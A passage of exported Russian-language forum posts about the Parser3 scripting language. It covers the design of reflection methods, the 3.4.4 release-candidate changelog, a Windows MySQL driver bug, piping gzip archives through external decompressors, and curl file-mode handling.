Уже написал вопрос про self.поле, когда понял, что вопрос дурацкий и код остаётся вне контекта."
"81825","Т.е. нужен вариант с двумя параметрами ^reflection:element_class_name[$context;element_name]."
"81826","Возможно правильнее сделать будет ^reflection:is[code|junction|method;var name]."
"81827","Да, согласен можно сделать опциональный параметр контекст. Может тогда ^reflection.is[class_name;var_name] и ^reflection.is[class_name;context;var_name], с поддержкой code/method для опционального различения разных видов junction?"
"81828","Я думаю возврат строки чуть более универсален, чем булево значение.\
По аналогии с тем же CLASS_NAME и is в применении в switch.\
\
Контекст, конечно, нужен, но усложняет схему.\
И учитывать точки в имени как вложенность нельзя…"
"81831","Год назад [url=http://www.parser.ru/forum/?id=80210]вопрос уже поднимался[/url].\
Неясно почему нет возможности указать имя класса, а не ссылку на класс.\
Трюки с $$ не работают.\
\
В результате, имея такую мощную штуку, как reflection, приходится плясать с process."
"81833","Сейчас уже есть метод ^reflection:class_by_name[имя_класса], то есть задача решается..."
"81834","О, совсем свежее.\
Ясно, спасибо."
"81835","Информация об обработчике приходит из БД: файл, класс, метод.\
Нужно метод получить и передать ему данные."
"81836","Просьба аргументировать. :) С точки зрения читаемости\
\
[code]$a[ $.b{code} ]\
^if(^reflection:is[b;code;$a]){yes}{no}\
[/code]\
\
Мне кажется немного хуже\
\
[code]$a[ $.b{code} ]\
^if(^reflection:is[code;$a;b]){yes}{no}\
[/code]\
\
Сделал пока так, но поменять местами параметры - если что секундное дело."
"81837","Мне тоже сначала показалось, что так более универсально, но поразмыслив не придумал, зачем такая универсальность может быть нужна - отличие только в обработке junction. То есть расширение функционала оператора is выглядит логичнее да название знакомое и короче. Плюс появляется возможность отличить передачу кода от передачи метода."
"81838","[quote]Мне тоже сначала показалось, что так более универсально, но поразмыслив не придумал, зачем такая универсальность может быть нужна - отличие только в обработке junction.[/quote]\
\
Ну, например, switch, меняющий поведение функции в зависимости от типа переданных параметров будет чуть лаконичнее.\
\
Но, учитывая, что задача крайне специфическая, ценности особой нет."
"81839","насколько я понимаю, идея в том, чтобы опциональные параметры убрать подальше. так легче запомнить, каким параметром что идёт.\
[code]\
^reflection:is[b]\
^reflection:is[b;code]\
^reflection:is[b;code;$a]\
[/code]\
\
vs\
\
[code]\
^reflection:is[b]\
^reflection:is[code;b]\
^reflection:is[code;$a;b]\
[/code]"
"81840","+ в данном случае порядок элементов хотелось бы таким же как в случае var is classs, а не, внезапно, наоборот is class var\
\
+ левые необязательные параметры, это вообще имхо, зло\
что будет если нет конекста?\
[code]^if(^reflection:is[code;;b]){yes}{no}[/code]\
?\
\
Совсем недавно разбирали один необязательный параметр слева - http://www.parser.ru/forum/?id=81118\
\
Имхо, всегда любые необязательные параметры всегда должны быть справа от всех обязательных."
"81841","сам постоянно путаюсь, когда порядок парамеров меняется."
"81842","Для тех кому интересно, что Я сделал\
[code]@init[]\
$admin[^control::init[]]\
$get[^GET::init[]]\
$address[$request:uri]\
$address[^address.match[^^/admin(.+)]]\
\
@page_rules[]\
^switch[$get.auth.gID]{\
	^case[1]{\
		^if($request:uri eq '/admin${address.1}'){\
			^admin.page[]\
		}{\
			^deafult.page[]\
		}\
	}\
	^case[DEFAULT]{^deafult.page[]}\
}\
\
@sidebar_rules[]\
^switch[$get.auth.gID]{\
	^case[1]{\
		^if($request:uri eq '/admin${address.1}'){\
			^admin.sidebar[]\
		}{\
			^deafult.sidebar[]\
		}\
	}\
	^case[DEFAULT]{^deafult.sidebar[]}\
}[/code]"
"81843","[code]@page_rules[]\
  ^switch(true){\
    ^case($get.auth.gID == 1 && $request:uri eq \"/admin${address.1}\"{\
      ^admin.page[]\
    }\
    ^case[DEFAULT]{\
      ^deafult.page[]\
    }\
  }[/code]"
"81844","Думаю у вас браузер закешировал редирект, они это любят делать. Проверяется в другом браузере."
"81845","[quote]в данном случае порядок элементов хотелось бы таким же как в случае var is classs, а не, внезапно, наоборот is class var[/quote]\
\
Порядок $var is class в любом случае отличается от ^is[var;class], поскольку is становится первым. :)\
\
[quote]что будет если нет конекста?[/quote]\
\
Будет два параметра:\
\
[code]^if(^reflection:is[code;b]){yes}{no}[/code]\
\
Впрочем вопрос совершенно не принципиальный. Раз и Миша за такой порядок - так и сделал."
"81846","[code]@path_rules[link]\
$parts[^link.uri.split[/;lh]]\
$s[^get.getSections[\
	$.section_url[$parts.1]\
]]\
$h[^get.getHeadings[\
	$.SIDs($s.id)\
	$.heading_url[$parts.2]\
]]\
$e[^get.getEntries[\
	$.SIDs($s.id)\
	$.HIDs($h.id)\
	$.link[^if($parts.3){${parts.3}}{${parts.2}}]\
]]\
$g[^get.getGoods[\
	$.SIDs($s.id)\
	$.HIDs($h.id)\
	$.link[^if($parts.3){${parts.3}}{${parts.2}}]\
]]\
^if(def $s && def $h && def $e){\
	$response[true]\
}(def $s && def $h && def $g){\
	$response[true]\
}(def $s && def $h){\
	$response[true]\
}(def $s){\
	$response[true]\
}{\
	$response[false]\
}\
\
@page_rules[]\
^path_rules[$.link[$request:uri]]\
^switch(true){\
	^case($get.auth.gID == 1 && $request:uri eq \"/admin${address.1}\"){\
		^admin.page[]\
	}\
	^case($get.auth.gID != 1 && $request:uri eq \"/admin${address.1}\"){\
		^error_404.page[]\
	}\
	^case[DEFAULT]{\
		^if($request:uri eq '/'){\
			^deafult.page[]\
		}($response eq 'true'){\
			^deafult.page[]\
		}{\
			^error_404.page[]\
		}\
	}\
}\
\
@sidebar_rules[]\
^switch(true){\
	^case($get.auth.gID == 1 && $request:uri eq \"/admin${address.1}\"){\
		^admin.sidebar[]\
	}\
	^case($get.auth.gID != 1 && $request:uri eq \"/admin${address.1}\"){\
	}\
	^case[DEFAULT]{\
		^if($request:uri eq '/'){\
			^deafult.sidebar[]\
		}($response eq 'true'){\
			^deafult.sidebar[]\
		}{}\
	}\
}[/code]"
"81847","Выпущен релиз кандидат версии 3.4.4.\
Скачать можно здесь: http://www.parser.ru/download/beta/.\
Приветствуются багрепорты и активное тестирование.\
\
Перечень изменений:\
\
* Расширен диапазон поддерживаемых дат, поддерживаются даты от 0000-00-00 00:00:00 до 9999-12-31 23:59:59.\
\
* Реализовано редактирование таблиц. Теперь можно изменить значение ячейки и вставить строку ($t.name[value] и ^t.insert{row}).\
\
* При добавлении ряда в таблицу можно задать его в виде хэша ^tbl.append[ $.a[строка] $.b[строка] ].\
\
* В таблице и хэше реализован приоритет поиска метода при вызове метода (^table.count[]), при обращению к полю ($table.count)\
методы не возвращаются в принципе. Ранее независимо от способа обращения в таблице был приоритет метода, а в хэше\
приоритет поля, что приводило к проблемам например если в хэше был ключ foreach.\
\
* В датах поддерживается формат  ISO 8601, можно работать с датами в любой временной зоне (2015-09-08T18:24:52+03:00).\
\
* Добавлена возможность задания временной зоны по умолчанию, например если время сервера отличается от времени сайта, ^date:roll[TZ;MSK-3].\
\
* Расширен c 32 до 64 бит поддерживаемый диапазон чисел в функции ^math:convert[] и при записи числа в шестнадцатеричном виде (0XNN).\
\
* Релизована поддержка IDNA (кириллических доменов), как при загрузке файлов по HTTP, так и в виде отдельных методов кодирования\
и декодирования (^строка.idna[] и ^string:idna[закодированная строка]).\
\
* Добавлены методы для работы с DNS: ^inet:name2ip[name; $.ipv[4|6|any] $.table(true) ] для прямого преобразования имени в адрес\
и ^inet:ip2name[ip; $.ipv[4|6|any] ] для обратного преобразования.\
\
* Оптимизированы обращения $var.CLASS, $var.CLASS_NAME, они теперь обрабатываются на этапе компиляции.\
\
* Добавлен метод сортировки хэша, ^hash.sort[key;value]{string-key-maker}[[asc|desc]].\
\
* ^hash.delete[] (без параметров) очищает существующий хэш.\
\
* Добавлены $request:headers, $request:method, $request:поле (ранее эту информацию нужно было получать через $env),\
\
* Заголовки в $response:fields переведены в UPPERCASE, можно удалить заголовок, задав ему пустое значение.\
\
* Добавлена поддержка HTTP метода PUT.\
\
* Добавлен метод ^curl:info[], выдающий информацию о последнем запросе.\
\
* При вызове file::load можно явно задать $.response-charset (если сервис выдает некорректную кодировку).\
\
* Теперь ^строка.left(-1) выдает всю строку.\
\
* Поддерживается вызов ^строка.trim[набор], эквивалентный вызову ^строка.trim[both;набор].\
\
* ^string:js-unescape[] теперь возвращает \"грязную\" строку.\
\
* Добавлен метод ^строка.unescape[[js|url][; $.charset[кодировка] ]]\
\
* При вызове ^json:string можно передать параметр $._default[имя метода], и при сериализации объектов будет вызываться\
метод объекта с таким именем.\
\
* При вызове ^json:string можно задать способ выдачи неопределенных значений: в виде пустой строки ($.void[string]) или\
как null ($.void[null], по умолчанию).\
\
* Улучшена обработка ошибок ^json:parse, теперь в исключении показывается проблемный фрагмент, для частых\
ошибок сделаны отдельные сообщения.\
\
* При вызове ^json:parse можно отключить преобразование целых чисел в числа, оставив их строками $.int(false).\
\
* Добавлен метод ^reflection:def[class;name] для проверки класса на существование.\
\
* Добавлен метод ^reflection:class_by_name[class_name] для получения класса по имени.\
\
* Добавлен метод ^reflection:is[element_name;class_name], расширяющий функциональность оператора is и позволяющий\
определить, является ли $element_name кодом.\
\
* ^таблица.count[columns] работает и для неименованных таблиц.\
\
* ^хэш._at[...] может возвращать не только значение, но и ключ, и пару ключ-значение.\
\
* Исключения компиляции кода унифицированы по структуре с исключениями выполнении кода.\
\
* Обновлены библиотеки сборки мусора libgc с версии 7.2d до 7.2f и регулярных выражений pcre с версии 8.33 до 8.37.\
\
* В Windows версии увеличен лимит памяти в libgc и при ошибках больше не выскакивает окно с сообщением.\
\
Исправлен ряд ошибок:\
\
* Исправлена ошибка, приводившая к некорректной обработке чисел, начинавшихся с 0.\
\
* При сериализации в json символы \\u2028 and \\u2029 (разделитель строки/абзаца) теперь корректно экранируются.\
\
* Исправлена ошибка, иногда приводившая к исключению при перекодировании пустого параметра.\
\
* Исправлена ошибка, приводившая к исключению при передаче пустого хэша в случае ^table::create[$tbl;^hash::create[]].\
\
* Исправлена ошибка, приводившая к неполной смене языковых переменных при установке mysql соединения с параметром ?charset.\
\
* Исправлена ошибка, иногда приводившая к некорректной сериализации объектов типов, указанных в параметрах ^json:string.\
\
* Исправлена ошибка, иногда приводившая к исключению can't set base while appending methods to class при компиляции.\
\
* Исправлена работа с грязными данными в присваивании значения xml-узла ($node.nodeValue[^taint[&]test]).\
\
* Исправлена ошибка, из-за которой @GET[def] всегда возвращал истину.\
\
* Исправлена перекодировка почтовых заголовков в $mail:received.\
\
* Исправлена ошибка, приводившая к core если @GET_DEFAULT[] возвращал код.\
\
* Исправлена ошибка, в определенных случаях приводившая к исключению при выдаче исключения. :)\
\
* Добавлена проверка на пустоту ключей хэш-файла.\
\
* Исправлена ошибка, приводившая к исключению при вызове ^json:string($double).\
\
* Данные в $mail:received теперь считаются \"грязными\".\
\
* Исправлена ошибка, из-за которой не выдавались исключения при обращении к несуществующим полям класса $mail.\
\
* Исправлена ошибка вычисления временной зоны в $mail:received.date.\
\
* Исправлена ошибка, приводившая к смене имени файла в заголовке Content-Disposition: в новой версии GCC.\
\
* Исправлена ошибка, из-за которой не обрабатывались исключения в ^cache[some](0).\
\
* Исправлена ошибка, из-за которой не находились директории в файловой системе xfs.\
\
* Исправлена ошибка, приводившая к core при сериализации объектов, не имеющих хэш-представления.\
\
* Исправлена ошибка, из-за которой ^string:base64[] возвращал \"c3RyaW5n\".\
\
* Исправлена ошибка, из-за которой удалялся BOM-код UTF-8 из файлов, загружаемых в другой кодировке.\
\
Полный лог изменений доступен в [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup\"]CVS[/url].\
Подробности и изменения в документации будут с релизом."
"81848","[quote]* Добавлен метод сортировки хэша, ^hash.sort[key;value]{string-key-maker}[[asc|desc]].[/quote]\
\
А по числу сортировать можно?\
[code]^hash.sort[key;value](…)[asc|desc][/code]\
Или тоже будет считаться строкой?\
\
[quote]* ^хэш._at[...] может возвращать не только значение, но и ключ, и пару ключ-значение.[/quote]\
\
А можно пример, в котором бы ключ или ключ-значение возвращались?\
\
[quote]* Исправлена ошибка, в определенных случаях приводившая к исключению при выдаче исключения.[/quote]\
\
Так!"
"81849","[quote]А по числу сортировать можно? [/quote]\
\
Да.\
\
[quote]А можно пример, в котором бы ключ или ключ-значение возвращались?[/quote]\
\
[code]$h[$.a[1]]\
^json:string[^h.at[first;key]]\
^json:string[^h.at[first;value]]\
^json:string[^h.at[first;hash]]\
[/code]\
\
И да, забыл упомянуть, что теперь можно писать без '_' - ^h.at[], ^h.keys[], ^h.count[]."
"81850","[quote]И да, забыл упомянуть, что теперь можно писать без '_' - ^h.at[], ^h.keys[], ^h.count[].[/quote]\
\
C одной стороны хорошо, с другой — в случае с хешем может быть и неудобно:\
[code]$h[$.a[1] $.at[$method]]\
^h.at[first;key]\
\
\
@method[param]\
$param[/code]\
\
Подчёркивание, насколько понимаю, именно для страховки от таких случаев и использовалось."
"81851","Невнимательно читаете изменения. :)\
\
[quote]* В таблице и хэше реализован приоритет поиска метода при вызове метода (^table.count[]), при обращению к полю ($table.count)\
методы не возвращаются в принципе. Ранее независимо от способа обращения в таблице был приоритет метода, а в хэше\
приоритет поля, что приводило к проблемам например если в хэше был ключ foreach.[/quote]"
"81852","Дважды перечитал.\
\
Но как теперь обратиться к junction в поле at не понял.\
\
Раньше для вызова поля с именем метода помог бы reflection, а теперь к методу не обратиться."
"81853","Мне не кажется, что at/keys/count популярные имена для методов, во всяком случае на нашем коде несовместимостей не было. А вызвать особой проблемы нет:\
\
[code]@main[]\
\
$h[ $._at[$method] ]\
$m[$h._at]\
^m[hellow]\
\
#ранее метод хеша _at было нельзя вызвать, теперь можно:\
^h._at[first;key]\
\
@method[arg]\
the arg is '$arg'\
[/code]"
"81854","Получить метод через обращение к полю.\
Спасибо."
"81855","Под win.\
\
Даже неясно где искать ошибку.\
На ночной сборке от 22 октября работало."
"81856","С тех пор только это поменялось:\
\
\"В Windows версии увеличен лимит памяти в libgc и при ошибках больше не выскакивает окно с сообщением.\"\
\
Сделано по мотивам http://www.parser.ru/forum/?id=80221.\
Тикет: http://redmine.parser.ru/issues/1036#note-7\
\
Хорошо бы локализовать, чтобы было можно отладить. Со своей стороны вечером соберу libgc без \"-DNO_DEBUGGING\", возможно у них под Windows бага в release версии..."
"81857","Ибо код совсем лёгкий, мегабайт пять памяти потребляет.\
\
Попробую локализовать, конечно."
"81859","[code]^connect[$SQL.connect-string]{\
	$test[^table::sql{\
		SELECT\
			`id` AS 'ID',\
			`uid` AS 'UID'\
		FROM `sites`\
	}]\
}[/code]\
\
Стоит убрать любое из полей — ошибки нет.\
Сначала грешил на множественные прослойки, а оно даже на нативном table::sql повторяется.\
\
И от данных в таблице зависит.\
[code]CREATE TABLE `sites` (\
	`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,\
	`uid` VARCHAR(16) NOT NULL,\
	PRIMARY KEY (`id`)\
)\
COLLATE='utf8_general_ci'\
ENGINE=InnoDB\
;\
\
INSERT INTO `sites`\
(`id`, `uid`)\
VALUES (1, 'ea3c3fd1ae4ba95a');[/code]\
\
MySQL 5.0.45.\
Драйверы из архива с RC.\
\
Похоже, ошибка именно в драйвере parser3mysql.dll.\
Со старым от предыдущего релиза проблем нет.\
Ночная сборка работала тоже на старом драйвере, обновил его только сегодня."
"81860","Thx, получилось повторить. Под Linux такой проблемы нет, так что вероятно таки как-то с libgc связано. Отпишусь, как разберусь."
"81861","Повторюсь, отредактировал старое сообщение.\
\
[quote]Похоже, ошибка именно в драйвере parser3mysql.dll.\
Со старым от предыдущего релиза проблем нет.\
Ночная сборка работала тоже на старом драйвере, обновил его только сегодня.[/quote]"
"81862","Ups, а драйвер-то я вообще не менял. :) Я только parser3.exe в архиве 3.4.3rc поменял. :)"
"81863","С драйвером [url=http://www.parser.ru/f/1/download/win32/parser3sql_10_5_win32_mysql.zip]parser3sql_10_5_win32_mysql.zip (01.11.2013 933,3 КБ)[/url] работает.\
С parser3mysql.dll из архива с RC — ошибка."
"81864","Разобрался. В архиве parser3_4_3rc_win32_cgi_xml.zip, который я взял за основу, почему-то лежал parser3mysql.dll из parser3sql_10_4_win32_mysql.zip, известный несовместимостью с более новыми libmySQL.dll. Заменил parser3mysql.dll на правильный, а вообще к релизу его надо будет пересобрать, мы там все-таки один баг поправили..."
"81866","В рамках работ над краулером хочется загружать документ, сохраняя его со всеми заголовками — отправленными и полученными.\
\
Сейчас доступ к заголовкам есть, но чтобы собрать все, нужно перебрать известные имена и обращаться к ним напрямую в uppercase как к полям response-файла.\
Если же ответ содержит нестандартный заголовок — получить его таким образом невозможно.\
\
Понять какой запрос был сформирован тоже можно лишь достаточно условно, собирая параметры, переданные curl'у.\
Но неизвестно что в действительности было отправлено.\
\
Прошу рассмотреть возможность получать заголовки запроса и ответа по аналогии с cookies.\
\
[code]$response[^curl:load[…]]\
$request_headers[$response.request.headers]\
$response_headers[$response.headers]\
[/code]"
"81867","[quote]Прошу рассмотреть возможность получать заголовки запроса и ответа по аналогии с cookies. [/quote]\
\
С заголовками ответа думаю логичнее поступить так же, как сделано в ^file::load[]:\
\
http://www.parser.ru/docs/lang/?filefields.htm\
\"Если один заголовок повторяется в ответе несколько раз, все его значения доступны в поле tables:\"\
\
Ну а пока можно делать так: $h[json:parse[^json:string[$response]]]. :)\
\
[quote]Понять какой запрос был сформирован тоже можно лишь достаточно условно, собирая параметры, переданные curl'у.[/quote]\
\
У меня сложилось впечатление (возможно ошибаюсь), что кроме $.stderr[curl.log] $.verbose(1) curl особых механизмов для этого и не предоставляет, а это у нас реализовано..."
"81868","[quote]У меня сложилось впечатление (возможно ошибаюсь), что кроме $.stderr[curl.log] $.verbose(1) curl особых механизмов для этого и не предоставляет[/quote]\
\
Есть [url=http://curl.haxx.se/libcurl/c/CURLOPT_DEBUGFUNCTION.html]CURLOPT_DEBUGFUNCTION[/url].\
К примеру, можно в качестве дебаг-функции передавать пользовательский метод.\
\
[quote]Ну а пока можно делать так: $h[json:parse[^json:string[$response]]][/quote]\
\
Да, вариант, хоть и не очень элегантный.\
Можно исключить поля файла и оставшееся считать заголовками."
"81869","[quote]Есть CURLOPT_DEBUGFUNCTION.[/quote]\
\
Ну, если у кого-нибудь еще всплывет - подумаем, очень частная получается задача. Для отладки $.stderr[] удобнее, а в нормальном режиме заголовки в общем известны (и чтобы повторить запрос достаточно сохранить хеш параметров), \"своих\" заголовков curl добавляет только Host да Accept: */*.\
\
А таблицы с заголовками ответа я занес в to-do."
"81870","В продолжение [url=http://www.parser.ru/forum/?id=56677]темы о зависании gzip в ожидании данных[/url].\
\
Дело происходит под Win.\
\
Пытаюсь распаковать gz на лету, передав файл в $.stdin и взяв результат в $.stdout.\
В качестве распаковшиков пробую 7zip и gzip.\
\
В случае передачи файла архива в text-режиме 7zip не может распаковать его целиком, но получает в потоке ввода и пишет в поток вывода.\
Если же передавать в binary-режиме — процесс повисает и не отвечает.\
Причём, в диспетчере задача указано: прочитано — 479 байт (размер архива + 1 байт), записано — 3219 байт (точный размер извлечённого файла).\
То есть, чтение и запись прошли, но процесс продолжает чего-то ждать, а его в свою очередь ждёт Парсер.\
\
[code]$result[^file::exec[binary;C:\\Program Files\\7-Zip\\7z.exe][\
	$.stdin[^file::load[binary;/test.xml.gz]]\
][e;-si;-so;-tgzip]][/code]\
\
Gzip ведёт себя несколько иначе.\
Вне зависимости от режима считывает 479 байт и ждёт, не записывая ничего.\
\
[code]$result[^file::exec[binary;C:\\Program Files (x86)\\GnuWin32\\bin\\gzip.exe][\
	$.stdin[^file::load[binary;/test.xml.gz]]\
][-cd]][/code]\
\
Парсер в обоих случаях записывает 479 байт и ждёт.\
\
И 7zip и gzip прекрасно работают в консоли, и принимая, и выдавая файл в поток.\
\
Прошу «помощи зала» в поиске причин."
"81871","[quote]И 7zip и gzip прекрасно работают в консоли, и принимая, и выдавая файл в поток.[/quote]\
\
А можно рабочий пример команды 7zip? А то у меня сплошное \"The process tried to write to a nonexistent pipe.\" при попытках использовать -si или -so."
"81872","[quote]А можно рабочий пример команды 7zip?[/quote]\
\
Я их проверял по частям, отдельно чтение и отдельно запись.\
Быть может, это не совсем корректно.\
\
Распаковка файла с записью в stdout:\
[code]7z.exe e -so test.xml.gz > test.xml[/code]\
-so — вывод в [b]s[/b]td[b]o[/b]ut.\
\
Распаковка в файл из stdin:\
[code]7z.exe e -si -tgzip < test.xml.gz[/code]\
-si — чтение из [b]s[/b]td[b]i[/b]n.\
\
Если распаковка не из файла, нужно обязательно указывать формат архива параметром -t."
"81873","Тут есть две проблемы:\
\
1. С распаковкой \"на лету\" в любом случае будут проблемы. Парсер сначала все пишет в stdout, потом читает весь stdin. Поэтому как только размер распакованного превысит размер буфера OS, произойдет зависание. Но можно через промежуточный файл, например через такой bat файл:\
\
@C:\\cygwin\\bin\\gzip.exe -d >temp.dat\
@type temp.dat\
\
2. Действительно был баг в парсере, приводивший к тому, что даже после того как парсер заканчивал писать в stdout, читающий процесс продалжал ожидать оттуда байты. Поскольку проблема очень частная и касается только Windows, обновил parser3_4_4rc_win32_cgi_xml.zip."
"81874","[quote]Тут есть две проблемы:\
\
1. С распаковкой \"на лету\" в любом случае будут проблемы. Парсер сначала все пишет в stdout, потом читает весь stdin. Поэтому как только размер распакованного превысит размер буфера OS, произойдет зависание. Но можно через промежуточный файл, например через такой bat файл[/quote]\
\
Я планирую ограничивать размер принимаемого файла ещё на этапе загрузки, за 10 МБ вряд ли выйдет.\
\
Если же использовать распаковку в промежуточный файл, нужно будет это делать в скрипте в отдельный файл для каждого процесса, так как загрузка и распаковка могут идти параллельно.\
\
[quote]2. Действительно был баг в парсере, приводивший к тому, что даже после того как парсер заканчивал писать в stdout, читающий процесс продалжал ожидать оттуда байты. Поскольку проблема очень частная и касается только Windows, обновил parser3_4_4rc_win32_cgi_xml.zip.[/quote]\
\
Работает с обоими утилитами, спасибо!"
"81875","[quote]* Добавлен метод ^строка.unescape[[js|url][; $.charset[кодировка] ]][/quote]\
\
[code]$s[string]\
^s.unescape[url][/code]\
\
[i]'unescape' is not allowed to be called dynamically [parser.runtime][/i]"
"81877","[code]// ^string:unescape[js|uri;escaped;$.charset[...]]\
  add_native_method(\"unescape\", Method::CT_STATIC, _unescape, 2, 3);[/code]\
\
Т.е. вызов:\
[code]^string:unescape[uri;$s][/code]"
"81878","Прошу прощения, синтаксис в итоге был сделан по аналогии с ^string:js-unescape[] (http://www.parser.ru/docs/lang/?stringjsunescape.htm).\
И не url, а uri :), то есть правильно так:\
\
^string:unescape[uri;$sValue]\
^string:unescape[uri;$sValue; $.charset[UTF-8] ]"
"81879","Кстати, а почему в итоге так?\
^str.unescape[...] почитаеме и поудобнее было бы.\
\
еще бы .json[] добавить как минимум хешу и таблице"
"81880","[quote]у нас уже был ^string:js-unescape[закодированное], поэтому и тут я сделал ^string:unescape[js|uri;закодированное[;опции]][/quote]\
\
Миша так сделал. :) По мне так непринципиальный момент (поскольку метод достаточно редкий), но я наверное тоже за текущий вариант. Да, по причине аналогии, но не только. Еще явно видно, что действие будет делаться над строкой. Плюс не надо будет добавлять этот метод в void (совместимый с пустуй строкой)."
"81881","У curl'а есть опция $.mode[text|binary], которая управляет режимом загруженного файла.\
\
Вижу две странности с ней:\
1. программа должна знать режим заранее, формируя запрос, что не всегда возможно — кто ж знает, что вернёт сервер;\
2. на режим никак не влияет content-type ответа, хотя, есть мнение, должен.\
\
Пример:\
[code]^json:string[^curl:load[$.url[http://www.parser.ru/f/1/download/parser_logo.eps.zip]]][/code]\
[code]{\
	\"class\":\"file\",\
	\"name\":\"noname.dat\",\
	\"size\":31573,\
	\"mode\":\"text\",\
	\"content-type\":\"text\\/plain\",\
	\"status\":200,\
	\"DATE\":\"Wed, 28 Oct 2015 16:40:38 GMT\",\
	\"SERVER\":\"Apache\\/1.3.37 (Unix)\",\
	\"LAST-MODIFIED\":\"Fri, 26 Apr 2002 19:47:32 GMT\",\
	\"ETAG\":\"\\\"153a0bc-7b57-3cc9aed4\\\"\",\
	\"ACCEPT-RANGES\":\"bytes\",\
	\"CONTENT-LENGTH\":\"31575\",\
	\"CONNECTION\":\"close\",\
	\"CONTENT-TYPE\":\"application\\/zip\",\
	\"X-PAD\":\"avoid browser bug\"\
}[/code]\
\
Имеем дело с бинарным файлом — application/zip — а $.mode[text].\
Плюс странное с двумя content-type в объекте файла, нижнерегистровый, насколько понимаю, добавляет Парсер и к ответу сервера он отношения не имеет.\
\
Сменить режим файла вручную невозможно.\
\
Предлагаю учитывать content-type и переключать режим автоматически, если он не задан вручную."
"81882","[code]^string:unescape[]\
^string:js-unescape[][/code]\
но \
[code]^string.escape[], а не\
^string:escape[]\
[/code]\
~~~\
[code]^tbl.csv-string[][/code]\
но \
[code]\
^json:string[$tbl] \
вместо \
^tbl.json[]\
[/code]\
\
Путаница же, все это помнить надо.\
\
Или я неправ, и система тут какая нибудь есть? Или просто перешли на новую сематнику, а старую просто держат из-за совместимости?\
\
Я уже несколько раз в коде писал ^hash.json[], настолько такая нотация привычна. Огребал ошибку, лез в доку ;)"
"81883","[quote]^string:unescape[]\
^string:js-unescape[][/quote]\
\
На входе - \"код\", на выходе строка. :)\
\
[quote]^json:string[$tbl] [/quote]\
\
Из чего-то строка. :)\
\
[quote]^string.escape[][/quote]\
\
Из строки код. :)\
\
[quote]Или я неправ, и система тут какая нибудь есть? [/quote]\
\
Часть вызовов выше можно воспринимать как конструкторы строки, но в целом думаю так \"исторически сложилось\". :(\
\
[quote]^tbl.json[][/quote]\
\
А так раньше вообще нельзя было сделать, если у кого-то из базы доставалось поле json, доступ к нему полю пропал бы. И не забывайте, что у ^json:string[] еще мириады опций, их же надо поддерживать и описывать."
"81884","[quote]И не забывайте, что у ^json:string[] еще мириады опций, их же надо поддерживать и описывать.[/quote]\
\
Методы объектов могут просто звать ^json:string[], передавая ему себя и опции.\
Функция-то остаётся одна."
"81885","[quote]$.mode[text|binary], которая управляет режимом загруженного файла.[/quote]\
\
По сути режим влияет только на перекодировку и кажется обработку переносов строк при обращении к $f.text.\
\
[quote]Сменить режим файла вручную невозможно.[/quote]\
\
Это не так. $f[^file::create[$f; $.mode[binary] $.content-type[$f.CONTENT-TYPE]]]\
поменяет вам и mode, и content-type на соотвествующий из заголовка.\
\
[quote]Предлагаю учитывать content-type и переключать режим автоматически, если он не задан вручную.[/quote]\
\
Переключение режима может поломать совместимость. Например кто-нибудь грузит текст с перекодировкой с сервера, где Content-type по умолчанию у всего application/octet-stream, и у него перекодировка сломается...\
\
Кто касается учета content-type, то по документации он и сейчас должен ставится автоматически: \"По-умолчанию берется из заголовка HTTP-ответа\", но по факту значение заголовка игнорируется. :) Это наверное имеет смысл поправить (в ^file::load[] тоже берется из заголовка), но вероятно уже в следующей версии."
"81886","... То лучше сделать сначала head-запрос, а потом уже забрать гетом все. Автоматический учет CT не самая простая задача - стандарта на тип нет инадо будет делать и поддерживать в парсере мегатаблицу типов. Опятьже нет никакой гарантии, что сервер выдаст правильный CT и автоматика может сильно испортить жизнь. В большинстве случаев мы точно знаем, что нам прийдет с другой стороны.\
\
Мне кажется, что у тебя очень специфический случай, который можно решить мелким хаком на уровне парсеровского кода."
"81887","[quote]Переключение режима может поломать совместимость. Например кто-нибудь грузит текст с перекодировкой с сервера, где Content-type по умолчанию у всего application/octet-stream, и у него перекодировка сломается...[/quote]\
\
По-моему, это совместимость с ошибочным поведением.\
\
Если имеет место быть настолько запущенный случай — кривой сервер и перекодировка, то программист легко подстроится под него указанием типа файла вручную и тип документа на него не повлияет.\
\
[quote]По сути режим влияет только на перекодировку и кажется обработку переносов строк при обращении к $f.text.[/quote]\
\
Вот в задаче с распаковкой gzip-файла без binary-режима у файла в $.stdin[] архиватор не работал — отваливался на середине архива, вероятно, на первом NUL'е."
"81888","[quote]Автоматический учет CT не самая простая задача - стандарта на тип нет инадо будет делать и поддерживать в парсере мегатаблицу типов.[/quote]\
\
Да.\
Вопрос в том, где эта таблица будет располагаться: в Парсере или в моём коде."
"81889","...поэтому в твоем коде ей самое место."
"81890","[quote]$f[^file::create[$f; $.mode[binary] $.content-type[$f.CONTENT-TYPE]]]\
поменяет вам и mode, и content-type на соотвествующий из заголовка[/quote]\
\
Что-то с таким файлом получается не то.\
\
Все заголовки сходятся с заголовками файла, загруженного с $.mode[binary] (кроме content-type, который во втором случае application/octet-stream), на диск файл сохраняется нормально.\
А вот скормить его деархиватору в $.stdin не получается — ругается на битый архив, как в случае передачи ему text-архива.\
Принудительная установка $.content-type[application/octet-stream] не помогает.\
\
Файл выглядит как бинарный, но не радует!"
"81891","Не очень понимаю, зачем вообще использовать text, если там возможны бинарные данные? Конечно надо использовать binary при загрузке."
"81892","[quote]Не очень понимаю, зачем вообще использовать text, если там возможны бинарные данные? Конечно надо использовать binary при загрузке.[/quote]\
\
Загрузчик понятия не имеет, что будет загружать.\
Загружает, что дают, и если это gzip попутно пытается распаковать, дабы на выходе был текст.\
\
Максимум, что может сделать, как-то сконвертировать ответ перед передачей на распаковку.\
\
Разве что, по-умолчанию грузить всё в binary.\
Но не уверен, что с текстовыми данными далее не будет проблем."
"81893","[quote]Загрузчик понятия не имеет, что будет загружать.[/quote]\
\
Поэтому и надо использовать binary.\
\
[quote]Но не уверен, что с текстовыми данными далее не будет проблем.[/quote]\
\
Какие с ними могут быть проблемы? Даже перекодировать можно при необходимости потом..."
"81894","Самый универсальный способ получается.\
Спасибо."
"81895","ситуация с base64: имеем метод с одним именем, и убиваем двух зайцев. ^s.base64[] -- кодируем. ^string:base64[$encoded] -- декодируем. т.е. делая по аналогии надо было метод называть js-escape и делать чтобы ^s.js-escape[] кодировал, а ^string:js-escape[$escaped] -- декодировал.\
\
в принципе, можно так и сделать (оставив старые имена для совместимости) + добавить ещё динамические методы (с префиксом un?) для декодирования."
